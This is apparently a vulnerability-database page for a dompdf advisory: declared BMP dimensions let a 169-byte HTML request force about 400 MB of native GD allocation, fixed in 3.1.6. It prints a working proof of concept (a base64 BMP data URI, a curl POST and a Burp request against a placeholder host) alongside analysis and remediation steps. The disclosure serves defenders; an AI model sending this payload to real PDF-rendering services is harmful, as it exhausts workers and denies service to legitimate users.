EUVD-2026-50061
GHSA-8hg6-c449-896m
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered via HTTP POST, no privileges or user interaction needed, impact is availability-only with no confidentiality or integrity loss.
Primary rating from Vendor (https://github.com/dompdf/dompdf).
CVSS VectorVendor: https://github.com/dompdf/dompdf
Lifecycle Timeline
3DescriptionCVE.org
Summary
dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its *declared* header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.
A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request - roughly a 12× memory amplification per request, repeatable and unauthenticated.
Details
Root cause
The image is processed based on declared dimensions and type alone - no pixel budget:
// src/Image/Cache.php:131-134
list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());
if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) {
throw new ImageException("Image type unknown", E_WARNING);
}For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:
// src/Helpers.php:833-837
if (substr($data, 0, 2) === "BM") {
$meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data);
$width = (int) $meta["width"];
$height = (int) $meta["height"];
$type = "bmp";
}At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:
// src/Helpers.php:868-869 - native decoder is tried FIRST on PHP >= 7.2
if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) {
return $im;
}
// src/Helpers.php:940 - hand-rolled fallback
$im = imagecreatetruecolor($meta['width'], $meta['height']);There is no maximum width/height or maximum total-pixel guard anywhere on this path.
Source-to-sink
- Attacker HTML reaches
Dompdf::loadHtml()with<img src="data:image/bmp;base64,…">(or any BMPsrc). Dompdf::render()decorates frames;Frame\Factorymarks<img>as an image;FrameDecorator\ImagecallsImage\Cache::resolve_url().Image\Cache::resolve_url()accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).- During render,
Adapter\CPDF::image()identifies the BMP and calls_convert_to_png()(src/Adapter/CPDF.php:593). _convert_to_png()invokesHelpers::imagecreatefrombmp(), which allocates the full canvas - via the nativeimagecreatefrombmp()on PHP ≥ 7.2, or the hand-rolledimagecreatetruecolor()fallback otherwise.
PoC
erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.
The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:
<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender - the intrinsic decode happens regardless.)
1 - Direct conversion
native imagecreatefrombmp exists: yes
dompdf_getimagesize => 6000x6000 type=bmp
imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file)
Maximum resident set size: 160 MB (10x10 control: 24 MB)
php_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap itThe PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.
2 - Full Dompdf::render()
declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB
declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB3 - HTTP reproduction (curl / Burp)
Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML - the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.
curl:
curl -s -X POST "https://TARGET/render" \
--data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \
-o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'Burp Repeater (enable "Update Content-Length"):
POST /render HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/html
Connection: close
<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request):
[ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s
[CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 sTwo identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).
Impact
A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memory_limit does not contain it.
Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation - those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.
AnalysisAI
Uncontrolled resource consumption in dompdf's BMP image processing pipeline allows any unauthenticated attacker who can submit HTML to a dompdf-powered endpoint to exhaust server memory and stall PHP-FPM worker pools with a 169-byte HTTP request. The library trusts attacker-controlled BMP header dimensions without bounding width × height, causing PHP's GD extension to allocate a full native pixel canvas - bypassing PHP's memory_limit entirely because GD allocates through its own native allocator. A publicly available, verified proof-of-concept demonstrates ~12× memory amplification (34 MB control vs ~412 MB attack peak RSS) from identically-sized requests, making this a high-impact, low-effort denial-of-service primitive. No active exploitation confirmed in CISA KEV at time of analysis.
Technical ContextAI
dompdf (composer package dompdf/dompdf) is a PHP library that converts HTML to PDF. When rendering BMP images embedded as data URIs or referenced as files, the library parses the 14-byte file header and 40-byte BITMAPINFOHEADER (src/Helpers.php:833-837) to extract width and height via PHP's unpack(), then passes those values directly to either the native imagecreatefrombmp() (PHP ≥ 7.2) or the hand-rolled imagecreatetruecolor($meta['width'], $meta['height']) fallback - neither of which validates that declared dimensions match actual pixel data in the file. The critical factor is that GD image functions allocate canvas memory in GD's own native allocator (libgd), not in PHP's managed heap, so PHP's memory_limit INI directive provides zero protection. CWE-400 (Uncontrolled Resource Consumption) applies precisely: the resource multiplier is attacker-controlled through two 4-byte fields in the BMP header, bounded only by 32-bit integer limits and the host OS's available memory. The affected CPE is pkg:composer/dompdf_dompdf versions prior to 3.1.6.
RemediationAI
Upgrade dompdf to version 3.1.6 or later, which introduces an imageByteSizeLimit option in src/Options.php that defaults to the PHP memory_limit INI value and enforces it before any GD canvas allocation (commit 7c65e7bbeccf146b2409740405af73949ad129d0, https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0). Applications that cannot immediately upgrade should apply the following specific compensating controls: (1) Enforce OS-level memory limits on PHP-FPM workers via cgroups (e.g., memory.max in cgroup v2) - this is the only control that actually caps native GD allocation, at the cost of OOM-killing workers rather than gracefully rejecting requests; (2) Apply strict per-request render timeouts (max_execution_time and fastcgi_read_timeout) to limit CPU and wall-clock exhaustion, though memory may still spike before the timeout fires; (3) If HTML input is not required to contain images, strip or sanitize img tags before passing to dompdf - note this may break legitimate PDF generation; (4) Rate-limit the PDF rendering endpoint per source IP to reduce amplification from concurrent requests. Generic PHP memory_limit adjustments are NOT effective compensating controls for this vulnerability because GD allocates outside PHP's managed heap.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today